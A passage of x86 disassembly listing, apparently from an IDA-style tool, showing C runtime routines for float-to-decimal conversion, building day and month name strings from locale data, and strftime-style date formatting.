movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_42F681 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_42F882 ; --------------------------------------------------------------------------- loc_42F681: ; CODE XREF: sub_42F370+2CFj ; sub_42F370+2E1j cmp [ebp+arg_C], 15h jle short loc_42F68E mov [ebp+arg_C], 15h loc_42F68E: ; CODE XREF: sub_42F370+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_42F6B6 ; --------------------------------------------------------------------------- loc_42F6AD: ; CODE XREF: sub_42F370+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_42F6B6: ; CODE XREF: sub_42F370+33Bj cmp [ebp+var_44], 8 jge short loc_42F6CA lea edx, [ebp+var_38] push edx call sub_42E5E0 add esp, 4 jmp short loc_42F6AD ; --------------------------------------------------------------------------- loc_42F6CA: ; CODE XREF: sub_42F370+34Aj cmp [ebp+var_2E+2], 0 jge short loc_42F6FC mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_42F6E8 ; --------------------------------------------------------------------------- loc_42F6DF: ; CODE XREF: sub_42F370+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_42F6E8: ; CODE XREF: sub_42F370+36Dj cmp [ebp+var_74], 0 jle short loc_42F6FC lea edx, [ebp+var_38] push edx call sub_42E640 add esp, 4 jmp short loc_42F6DF ; --------------------------------------------------------------------------- loc_42F6FC: ; CODE XREF: sub_42F370+35Ej ; sub_42F370+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_42F719 ; --------------------------------------------------------------------------- loc_42F710: ; CODE XREF: sub_42F370+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_42F719: ; CODE XREF: sub_42F370+39Ej cmp [ebp+var_10], 0 jle short loc_42F785 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_42E5E0 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_42E5E0 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_42E530 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_42E5E0 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_42F710 ; --------------------------------------------------------------------------- loc_42F785: ; CODE XREF: sub_42F370+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_42F803 jmp short loc_42F7B3 ; --------------------------------------------------------------------------- loc_42F7AA: ; CODE XREF: sub_42F370+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_42F7B3: ; CODE XREF: sub_42F370+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_42F7D1 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_42F7D1 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_42F7AA ; --------------------------------------------------------------------------- loc_42F7D1: ; CODE XREF: sub_42F370+44Cj ; sub_42F370+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42F7F5 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_42F7F5: ; CODE XREF: sub_42F370+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_42F85C ; --------------------------------------------------------------------------- loc_42F803: ; CODE XREF: sub_42F370+436j jmp short loc_42F80E ; --------------------------------------------------------------------------- loc_42F805: ; CODE XREF: sub_42F370+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_42F80E: ; CODE XREF: sub_42F370:loc_42F803j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_42F826 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_42F826 jmp short loc_42F805 ; --------------------------------------------------------------------------- loc_42F826: ; CODE XREF: sub_42F370+4A7j ; sub_42F370+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_42F85C mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_42F882 ; --------------------------------------------------------------------------- loc_42F85C: ; CODE XREF: sub_42F370+491j ; sub_42F370+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_42F87F: ; CODE XREF: sub_42F370:loc_42F551j mov eax, [ebp+var_58] loc_42F882: ; CODE XREF: sub_42F370+E7j ; sub_42F370+30Cj ... mov esp, ebp pop ebp retn sub_42F370 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_4482A8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42F8B8 ; --------------------------------------------------------------------------- loc_42F8AF: ; CODE XREF: .data:0042F8EFj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42F8B8: ; CODE XREF: .data:0042F8ADj cmp dword ptr [ebp-10h], 7 jnb short loc_42F8F1 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_414EC0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_414EC0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42F8AF ; --------------------------------------------------------------------------- loc_42F8F1: ; CODE XREF: .data:0042F8BCj mov eax, [ebp-8] add eax, 1 push eax call sub_415090 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42F9A9 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42F925 ; --------------------------------------------------------------------------- loc_42F91C: ; CODE XREF: .data:0042F998j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42F925: ; CODE XREF: .data:0042F91Aj cmp dword ptr [ebp-10h], 7 jnb short loc_42F99A mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov edx, [ebp-14h] push edx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+1Ch] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42F91C ; --------------------------------------------------------------------------- loc_42F99A: ; CODE XREF: .data:0042F929j mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42F9A9: ; CODE XREF: .data:0042F907j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, off_4482A8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42F9E8 ; --------------------------------------------------------------------------- loc_42F9DF: ; CODE XREF: .data:0042FA20j mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42F9E8: ; CODE XREF: .data:0042F9DDj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42FA22 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx call sub_414EC0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+68h] push ecx call sub_414EC0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42F9DF ; --------------------------------------------------------------------------- loc_42FA22: ; CODE XREF: .data:0042F9ECj mov eax, [ebp-8] add eax, 1 push eax call sub_415090 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42FADB mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_42FA56 ; --------------------------------------------------------------------------- loc_42FA4D: ; CODE XREF: .data:0042FACAj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42FA56: ; CODE XREF: .data:0042FA4Bj cmp dword ptr [ebp-10h], 0Ch jnb short loc_42FACC mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+38h] push ecx mov edx, [ebp-14h] push edx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] add ecx, eax mov [ebp-14h], ecx mov edx, [ebp-14h] mov byte ptr [edx], 3Ah mov eax, [ebp-14h] add eax, 1 mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] add edx, eax mov [ebp-14h], edx jmp short loc_42FA4D ; --------------------------------------------------------------------------- loc_42FACC: ; CODE XREF: .data:0042FA5Aj mov eax, [ebp-14h] mov byte ptr [eax], 0 mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx loc_42FADB: ; CODE XREF: .data:0042FA38j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 18h push esi mov eax, off_4482A8 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_42FB18 ; --------------------------------------------------------------------------- loc_42FB0F: ; CODE XREF: .data:0042FB4Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_42FB18: ; CODE XREF: .data:0042FB0Dj cmp dword ptr [ebp-10h], 7 jnb short loc_42FB51 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_414EC0 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_414EC0 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_42FB0F ; --------------------------------------------------------------------------- loc_42FB51: ; CODE XREF: .data:0042FB1Cj mov dword ptr [ebp-10h], 0 jmp short loc_42FB63 ; --------------------------------------------------------------------------- loc_42FB5A: ; CODE XREF: .data:0042FB9Bj mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42FB63: ; CODE XREF: .data:0042FB58j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42FB9D mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax call sub_414EC0 add esp, 4 mov esi, eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax call sub_414EC0 add esp, 4 add eax, [ebp-8] lea ecx, [eax+esi+2] mov [ebp-8], ecx jmp short loc_42FB5A ; --------------------------------------------------------------------------- loc_42FB9D: ; CODE XREF: .data:0042FB67j mov edx, [ebp-0Ch] mov eax, [edx+98h] push eax call sub_414EC0 add esp, 4 mov esi, eax mov ecx, [ebp-0Ch] mov edx, [ecx+9Ch] push edx call sub_414EC0 add esp, 4 add eax, [ebp-8] lea eax, [eax+esi+2] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A0h] push edx call sub_414EC0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A4h] push ecx call sub_414EC0 add esp, 4 mov edx, [ebp-8] lea eax, [edx+eax+1] mov [ebp-8], eax mov ecx, [ebp-0Ch] mov edx, [ecx+0A8h] push edx call sub_414EC0 add esp, 4 mov ecx, [ebp-8] lea edx, [ecx+eax+1] mov [ebp-8], edx mov eax, [ebp-8] add eax, 0ACh push eax call sub_415090 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42FE56 mov ecx, [ebp-4] mov [ebp-18h], ecx mov edx, [ebp-4] add edx, 0ACh mov [ebp-14h], edx push 0ACh mov eax, off_4482A8 push eax mov ecx, [ebp-4] push ecx call sub_419330 add esp, 0Ch mov dword ptr [ebp-10h], 0 jmp short loc_42FC7A ; --------------------------------------------------------------------------- loc_42FC71: ; CODE XREF: .data:0042FCECj mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_42FC7A: ; CODE XREF: .data:0042FC6Fj cmp dword ptr [ebp-10h], 7 jnb short loc_42FCEE mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4] push edx mov eax, [ebp-14h] push eax call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-10h] mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+eax*4+1Ch], edx mov eax, [ebp-10h] mov ecx, [ebp-0Ch] mov edx, [ecx+eax*4+1Ch] push edx mov eax, [ebp-14h] push eax call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx jmp short loc_42FC71 ; --------------------------------------------------------------------------- loc_42FCEE: ; CODE XREF: .data:0042FC7Ej mov dword ptr [ebp-10h], 0 jmp short loc_42FD00 ; --------------------------------------------------------------------------- loc_42FCF7: ; CODE XREF: .data:0042FD74j mov eax, [ebp-10h] add eax, 1 mov [ebp-10h], eax loc_42FD00: ; CODE XREF: .data:0042FCF5j cmp dword ptr [ebp-10h], 0Ch jnb short loc_42FD76 mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+38h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+38h] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-10h] mov edx, [ebp-18h] mov eax, [ebp-14h] mov [edx+ecx*4+68h], eax mov ecx, [ebp-10h] mov edx, [ebp-0Ch] mov eax, [edx+ecx*4+68h] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax jmp short loc_42FCF7 ; --------------------------------------------------------------------------- loc_42FD76: ; CODE XREF: .data:0042FD04j mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+98h], edx mov eax, [ebp-0Ch] mov ecx, [eax+98h] push ecx mov edx, [ebp-14h] push edx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+9Ch], ecx mov edx, [ebp-0Ch] mov eax, [edx+9Ch] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A0h], edx mov eax, [ebp-0Ch] mov ecx, [eax+0A0h] push ecx mov edx, [ebp-14h] push edx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov ecx, [ebp-14h] lea edx, [ecx+eax+1] mov [ebp-14h], edx mov eax, [ebp-18h] mov ecx, [ebp-14h] mov [eax+0A4h], ecx mov edx, [ebp-0Ch] mov eax, [edx+0A4h] push eax mov ecx, [ebp-14h] push ecx call sub_418870 add esp, 8 push eax call sub_414EC0 add esp, 4 mov edx, [ebp-14h] lea eax, [edx+eax+1] mov [ebp-14h], eax mov ecx, [ebp-18h] mov edx, [ebp-14h] mov [ecx+0A8h], edx loc_42FE56: ; CODE XREF: .data:0042FC39j mov eax, [ebp-4] pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx mov eax, [ebp+8] push eax call sub_42FE80 add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42FE80 proc near ; CODE XREF: .data:0042FE75p var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] mov [ebp+var_C], eax push offset dword_4DE428 call dword_4E0454 ; InterlockedIncrement cmp dword_4DE424, 0 jz short loc_42FEBE push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement push 13h call sub_41BC80 add esp, 4 mov [ebp+var_8], 1 jmp short loc_42FEC5 ; --------------------------------------------------------------------------- loc_42FEBE: ; CODE XREF: sub_42FE80+1Ej mov [ebp+var_8], 0 loc_42FEC5: ; CODE XREF: sub_42FE80+3Cj cmp [ebp+arg_10], 0 jnz short loc_42FED6 mov ecx, off_4482A8 mov [ebp+var_10], ecx jmp short loc_42FEDC ; --------------------------------------------------------------------------- loc_42FED6: ; CODE XREF: sub_42FE80+49j mov edx, [ebp+arg_10] mov [ebp+var_10], edx loc_42FEDC: ; CODE XREF: sub_42FE80+54j mov eax, [ebp+var_10] mov [ebp+var_4], eax loc_42FEE2: ; CODE XREF: sub_42FE80:loc_42FFCEj cmp [ebp+var_C], 0 jbe loc_42FFD3 mov ecx, [ebp+arg_8] mov dl, [ecx] mov [ebp+var_14], dl cmp [ebp+var_14], 0 jz short loc_42FF02 cmp [ebp+var_14], 25h jz short loc_42FF07 jmp short loc_42FF61 ; --------------------------------------------------------------------------- loc_42FF02: ; CODE XREF: sub_42FE80+78j jmp loc_42FFD3 ; --------------------------------------------------------------------------- loc_42FF07: ; CODE XREF: sub_42FE80+7Ej mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax mov dword_4DE30C, 0 mov ecx, [ebp+arg_8] movsx edx, byte ptr [ecx] cmp edx, 23h jnz short loc_42FF38 mov dword_4DE30C, 1 mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_42FF38: ; CODE XREF: sub_42FE80+A3j mov ecx, [ebp+var_4] push ecx lea edx, [ebp+var_C] push edx lea eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] mov al, [edx] push eax call sub_430010 add esp, 14h mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_42FFCE ; --------------------------------------------------------------------------- loc_42FF61: ; CODE XREF: sub_42FE80+80j mov edx, [ebp+arg_8] xor eax, eax mov al, [edx] mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_42FFA9 cmp [ebp+var_C], 1 jbe short loc_42FFA9 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42FFA9: ; CODE XREF: sub_42FE80+FCj ; sub_42FE80+102j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_8] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx loc_42FFCE: ; CODE XREF: sub_42FE80+DFj jmp loc_42FEE2 ; --------------------------------------------------------------------------- loc_42FFD3: ; CODE XREF: sub_42FE80+66j ; sub_42FE80:loc_42FF02j cmp [ebp+var_8], 0 jz short loc_42FFE5 push 13h call sub_41BD20 add esp, 4 jmp short loc_42FFF0 ; --------------------------------------------------------------------------- loc_42FFE5: ; CODE XREF: sub_42FE80+157j push offset dword_4DE428 call dword_4E0450 ; InterlockedDecrement loc_42FFF0: ; CODE XREF: sub_42FE80+163j cmp [ebp+var_C], 0 jbe short loc_430004 mov eax, [ebp+arg_0] mov byte ptr [eax], 0 mov eax, [ebp+arg_4] sub eax, [ebp+var_C] loc_430002: ; DATA XREF: .data:off_444304o jmp short loc_430006 ; --------------------------------------------------------------------------- loc_430004: ; CODE XREF: sub_42FE80+174j xor eax, eax loc_430006: ; CODE XREF: sub_42FE80:loc_430002j mov esp, ebp pop ebp retn sub_42FE80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430010 proc near ; CODE XREF: sub_42FE80+CEp ; sub_4307E0+3ECp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push esi movsx eax, [ebp+arg_0] mov [ebp+var_C], eax mov ecx, [ebp+var_C] sub ecx, 25h mov [ebp+var_C], ecx cmp [ebp+var_C], 55h ja loc_430578 mov eax, [ebp+var_C] xor edx, edx mov dl, byte_4305D9[eax] jmp off_43057D[edx*4] loc_430043: ; DATA XREF: .data:004305ADo mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4] push eax loc_430058: ; DATA XREF: .data:00440218o call sub_430630 add esp, 0Ch jmp loc_430578 ; --------------------------------------------------------------------------- loc_430065: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430581o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+18h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+1Ch] push eax call sub_430630 add esp, 0Ch jmp loc_430578 ; --------------------------------------------------------------------------- loc_430088: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305B1o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+38h] push eax call sub_430630 add esp, 0Ch jmp loc_430578 ; --------------------------------------------------------------------------- loc_4300AB: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430585o mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] mov ecx, [eax+10h] mov edx, [ebp+arg_10] mov eax, [edx+ecx*4+68h] push eax call sub_430630 add esp, 0Ch jmp loc_430578 ; --------------------------------------------------------------------------- loc_4300CE: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305B5o cmp dword_4DE30C, 0 jz short loc_430156 mov dword_4DE30C, 0 mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A4h] push eax call sub_4307E0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_430110 jmp loc_430578 ; --------------------------------------------------------------------------- loc_430110: ; CODE XREF: sub_430010+F9j mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4307E0 add esp, 14h jmp short loc_4301C9 ; --------------------------------------------------------------------------- loc_430156: ; CODE XREF: sub_430010+C5j mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A0h] push eax call sub_4307E0 add esp, 14h mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 0 jnz short loc_430185 jmp loc_430578 ; --------------------------------------------------------------------------- loc_430185: ; CODE XREF: sub_430010+16Ej mov edx, [ebp+arg_8] mov eax, [edx] mov byte ptr [eax], 20h mov ecx, [ebp+arg_8] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_8] mov [eax], edx mov ecx, [ebp+arg_C] mov edx, [ecx] sub edx, 1 mov eax, [ebp+arg_C] mov [eax], edx mov ecx, [ebp+arg_10] push ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_10] mov eax, [edx+0A8h] push eax call sub_4307E0 add esp, 14h loc_4301C9: ; CODE XREF: sub_430010+144j jmp loc_430578 ; --------------------------------------------------------------------------- loc_4301CE: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305B9o mov ecx, dword_4DE30C mov dword_4DE310, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+0Ch] push edx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_4301F8: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:00430589o mov eax, dword_4DE30C mov dword_4DE310, eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 2 mov eax, [ebp+arg_4] mov ecx, [eax+8] push ecx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430220: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:0043058Do mov edx, dword_4DE30C mov dword_4DE310, edx mov eax, [ebp+arg_4] mov eax, [eax+8] cdq mov ecx, 0Ch idiv ecx mov [ebp+var_4], edx cmp [ebp+var_4], 0 jnz short loc_43024A mov [ebp+var_4], 0Ch loc_43024A: ; CODE XREF: sub_430010+231j mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+var_4] push ecx call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430265: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305BDo mov edx, dword_4DE30C mov dword_4DE310, edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx push 3 mov edx, [ebp+arg_4] mov eax, [edx+1Ch] add eax, 1 push eax call sub_430680 add esp, 10h jmp loc_430578 ; --------------------------------------------------------------------------- loc_430292: ; CODE XREF: sub_430010+2Cj ; DATA XREF: .data:004305C1o mov ecx, dword_4DE30C mov dword_4DE310, ecx mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax push 2 mov ecx, [ebp+arg_4] mov edx, [ecx+10h] add edx, 1 push edx call sub_430680 add esp, 10h jmp loc_430578 ; 